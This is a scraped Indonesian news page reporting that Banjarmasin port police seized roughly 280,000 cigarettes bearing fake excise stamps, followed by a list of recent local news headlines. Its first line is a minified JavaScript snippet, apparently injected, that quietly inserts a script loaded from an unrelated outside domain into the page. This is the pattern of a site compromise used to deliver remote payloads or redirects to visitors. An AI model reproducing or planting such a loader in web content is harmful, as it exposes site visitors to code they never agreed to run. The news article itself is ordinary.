(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Ribuan Rokok Bercukai Ilegal Diamankan Polsek KPL Banjarmasin


BANJARMASIN, Jajaran Polsek Kawasan Pelabuhan Laut (KPL) Polresta Banjarmasin menyita dan mengamankan ribuan batang rokok yang menggunakan cukai ilegal. Rokok tersebut disita dari salah satu ekspedisi di kawasan Jalan Yos Sudarso RT34, Kecamatan Banjarmasin Barat, Kota Banjarmasin, Selasa (17/7) siang sekitar pukul 12.00 Wita.

Kapolsek Kawasan Pelabuhan Laut, Kompol Susilawati dalam konferensi pers menyebutkan jajarannya mengamankan rokok yang diduga menggunakan pita palsu, dari salah satu ekspedisi di kawasan Jalan Yos Sudarso Banjarmasin.

Penyitaan ini berkat adanya informasi adanya pengiriman rokok yang diduga tanpa dilekati dengan pita cukai yang resmi setelah dilakukan pemeriksaan terhadap paketan di gudang salah satu ekspedisi.

Ditemukan 14 coly rokok merk L aris Brown yang dikemas dalam karungan warna putih setelah dilakukan pemeriksaan berisi rokok L aris Brown tanpa dilekati dengan bea cukai dengan surat jalan dengan no : 001566.

Kompol Susilawati, didampinggi Kanit Reskrimnya, Iptu Agus Adi Apriyoga, menambahkan dari penyitaan itu, beberapa merek rokok yang disita, seperti 7 coly rokok merk L aris Brown terdiri dari 1 coly berisi 2 karton, 1 karton isi 2 kotak, 1 kotak isi 20 slop, 1 slop berisi 10 bungkus dan 1 bungkus berisi 20 batang dengan total 112.000 batang rokok, 7 coly yang berisi rokok merek L aris Brown terdiri dari 1 coly berisi 3 karton, 1 karton isi 2 kotak, 1 kotak berisi 20 slop, 1 slop berisi 10 bungkus dan 1 bungkus berisi 20 batang dengan total 168.000 batang

“Tentang tindak pidana setiap orang yang menawarkan, menyerahkan,menjual atau menyediakan untuk dijual barang yang kena cukai yang tidak dikemas untuk penjualan eceran atau tidak dilekati pita cukai, sebagaimana dimaksud dalam pasal 54 UU RI NO 39 tahun 2007 tentang Cukai,” jelasnya. (rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.